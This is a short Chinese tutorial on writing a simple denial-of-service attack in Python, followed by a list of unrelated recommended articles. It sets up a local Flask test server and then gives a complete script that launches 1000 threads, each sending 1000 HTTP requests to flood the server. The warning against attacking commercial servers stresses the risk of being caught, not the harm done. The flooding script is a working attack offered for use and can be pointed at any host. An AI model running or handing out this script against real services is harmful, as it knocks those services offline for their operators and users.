python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

shell 复制代码
pip install flask 
py 复制代码
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(debug=True)

python编写DOS攻击服务

shell 复制代码
pip install requests
py 复制代码
import requests
from requests.exceptions import RequestException
import threading

def requestGetOne():
    try:
        response = requests.get('http://127.0.0.1:5000', timeout=5)
        response.raise_for_status()  # 检查响应状态码
        print(response.text)
    except RequestException as e:
        print(f'请求出错: {e}')

def print_numbers():
    for i in range(1000):
        requestGetOne()

if __name__ == "__main__":
    threads = []
    for i in range(1000):  # 创建1000个线程
        thread = threading.Thread(target=print_numbers)
        threads.append(thread)
        thread.start()

    # 等待所有线程结束
    for thread in threads:
        thread.join()

    print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

相关推荐
IVEN_37 分钟前
只会Python皮毛?深入理解这几点,轻松进阶全栈开发
python·全栈
Ray Liang2 小时前
用六边形架构与整洁架构对比是伪命题?
java·python·c#·架构设计
AI攻城狮2 小时前
如何给 AI Agent 做"断舍离":OpenClaw Session 自动清理实践
python
千寻girling2 小时前
一份不可多得的 《 Python 》语言教程
人工智能·后端·python
AI攻城狮5 小时前
用 Playwright 实现博客一键发布到稀土掘金
python·自动化运维
曲幽6 小时前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
孟健21 小时前
Karpathy 用 200 行纯 Python 从零实现 GPT:代码逐行解析
python
码路飞1 天前
写了个 AI 聊天页面,被 5 种流式格式折腾了一整天 😭
javascript·python
曲幽1 天前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers